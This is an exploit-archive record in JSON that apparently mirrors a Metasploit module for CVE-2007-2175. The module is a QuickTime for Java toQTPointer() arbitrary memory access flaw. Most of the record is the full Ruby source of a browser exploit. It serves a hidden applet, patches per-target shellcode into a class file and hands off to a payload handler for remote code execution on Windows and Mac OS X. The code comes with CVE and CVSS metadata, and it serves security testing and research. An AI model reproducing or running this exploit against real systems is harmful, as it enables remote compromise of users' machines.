{"exploit":{"id":"MSF-multi--browser--qtjava_pointer","name":"Apple QTJava toQTPointer() Arbitrary Memory Access","description":"This module exploits an arbitrary memory access vulnerability in the Quicktime for Java API provided with Quicktime 7.","cves":["CVE-2007-2175"],"author":"hdm, kf, ddz","published":"2007-04-23","platform":"OSX,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/qtjava_pointer.rb","path":"modules/exploits/multi/browser/qtjava_pointer.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"qtjava_pointer.rb","vulnerabilities":[{"id":"CVE-2007-2175","state":"PUBLISHED","title":null,"titleSource":null,"description":"Apple QuickTime Java extensions (QTJava.dll), as used in Safari and other browsers, and when Java is enabled, allows remote attackers to execute arbitrary code via parameters to the toQTPointer method in quicktime.util.QTHandleRef, which can be used to modify arbitrary memory when creating QTPointerRef objects, as demonstrated during the \"PWN 2 0WN\" contest at CanSecWest 2007.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-2175","cvss":{"version":"2.0","baseScore":7.6,"severity":"high","vectorString":"AV:N/AC:H/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-2175"},"updatedAt":"2024-08-07T13:23:50.887Z","retrievedAt":"2026-11-26T11:43:00.615Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--qtjava_pointer.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--qtjava_pointer","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--qtjava_pointer/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--qtjava_pointer/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  #\n  # This module acts as an HTTP server\n  #\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access',\n        'Description' => %q{\n          This module exploits an arbitrary memory access vulnerability in the\n          Quicktime for Java API provided with Quicktime 7.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'hdm',           # Original exploit for Mac OS X PPC / Win32\n          'kf',            # Added support for Mac OS X X86\n          'ddz'            # Discovered bug, provided tips\n        ],\n        'References' => [\n          ['CVE', '2007-2175'],\n          ['OSVDB', '34178'],\n          ['BID', '23608'],\n          ['ZDI', '07-023'],\n        ],\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => ''\n        },\n        'Targets' => [\n          #\n          # Problem with generic payloads + regenerate_payload still :(\n          #\n          #\t\t\t\t\t[ 'Quicktime 7 Automatic',\n          #\t\t\t\t\t\t{\n          #\t\t\t\t\t\t\t'Platform' => ['win', 'osx'],\n          #\t\t\t\t\t\t\t'Arch' => [ARCH_X86, ARCH_PPC]\n          #\t\t\t\t\t\t}\n          #\t\t\t\t\t],\n          [\n            'Quicktime 7 on Windows x86',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_X86\n            }\n          ],\n          [\n            'Quicktime 7 on Mac OS X PPC',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_PPC\n            }\n          ],\n          [\n            'Quicktime 7 on Mac OS X x86',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_X86\n            }\n          ],\n        ],\n        #\t\t\t'DefaultTarget'  => 0,\n        'DisclosureDate' => '2007-04-23',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def exploit\n    # load the class data\n    path = File.join(Msf::Config.data_directory, 'exploits', 'QTJavaExploit.class')\n    fd = File.open(path, 'rb')\n    @class_data = fd.read(fd.stat.size)\n    fd.close\n\n    super\n  end\n\n  def on_request_uri(cli, req)\n    # Create a cached mapping between IP and detected target\n    @targetcache ||= {}\n    @targetcache[cli.peerhost] ||= {}\n    @targetcache[cli.peerhost][:update] = Time.now.to_i\n\n    if (target.name =~ /Automatic/)\n      case req.headers['User-Agent']\n      when /Windows/i\n        print_status('Choosing a Windows target')\n        @targetcache[cli.peerhost][:target] = targets[1]\n      when /PPC Mac OS X/i\n        print_status('Choosing a Mac OS X PPC target')\n        @targetcache[cli.peerhost][:target] = targets[2]\n      when /Intel Mac OS X/i\n        print_status('Choosing a Mac OS X x86 target')\n        @targetcache[cli.peerhost][:target] = targets[3]\n      end\n    end\n\n    # Clean the cache\n    rmq = []\n    @targetcache.each_key do |addr|\n      if (Time.now.to_i > @targetcache[addr][:update] + 60)\n        rmq.push addr\n      end\n    end\n\n    rmq.each { |addr| @targetcache.delete(addr) }\n\n    # Request processing\n\n    if (!req.uri.match(/\\.class$/i))\n\n      # Redirect to the base directory so the applet code loads...\n      if (!req.uri.match(%r{/$}))\n        send_redirect(cli, get_resource + '/', '')\n        return\n      end\n\n      # Display the applet loading HTML\n      print_status('Sending HTML')\n      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })\n      return\n    end\n\n    # Send the actual applet over\n    print_status('Sending applet')\n    send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })\n\n    # Handle the payload\n    handler(cli)\n  end\n\n  def generate_html\n    return \"<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>\"\n  end\n\n  def generate_applet(cli, _req)\n    this_target = nil\n    if (target.name =~ /Automatic/)\n      if (@targetcache[cli.peerhost][:target])\n        this_target = @targetcache[cli.peerhost][:target]\n      else\n        return ''\n      end\n    else\n      this_target = target\n    end\n\n    # make a copy..\n    data = @class_data.dup\n\n    # 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86\n    idx_targ = data.index(\"\\x03\\x10\\xcc\\x54\")\n\n    # 1024 bytes for shellcode\n    idx_code = data.index(\"\\x03\\x10\\xf0\\x54\")\n\n    # Handle Mac OS X PPC\n    if (this_target.arch.include?(ARCH_PPC))\n      tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)\n      data = patch_bytecode(idx_code, data, tp.encoded)\n      data = patch_bytecode(idx_targ, data, \"\\x01\")\n    end\n\n    # Handle Mac OS X x86 / Windows x86\n    if (this_target.arch.include?(ARCH_X86))\n\n      if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))\n        tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)\n        data = patch_bytecode(idx_code, data, tp.encoded)\n        data = patch_bytecode(idx_targ, data, \"\\x03\")\n      end\n\n      if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))\n        tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)\n        data = patch_bytecode(idx_code, data, tp.encoded)\n        data = patch_bytecode(idx_targ, data, \"\\x02\")\n      end\n    end\n\n    return data\n  end\n\n  def patch_bytecode(off, data, buff)\n    cnt = 0\n    off -= 1\n    while (cnt < buff.length)\n      cnt += 1\n      off += 1 until ((data[off - 1] == 0x10 && data[off + 1] == 0x54))\n      data[off] = buff[cnt - 1]\n      off += 1\n    end\n\n    return data\n  end\n\nend\n","sha256":"1ede90915ae9475fefd1b7084f5f09988bbd7f3c8575b3f0f4353e1091210147","bytes":5836,"fetchedAt":"2026-11-26T11:42:58.958Z","encoding":"utf-8 (display only; download retains original bytes)"}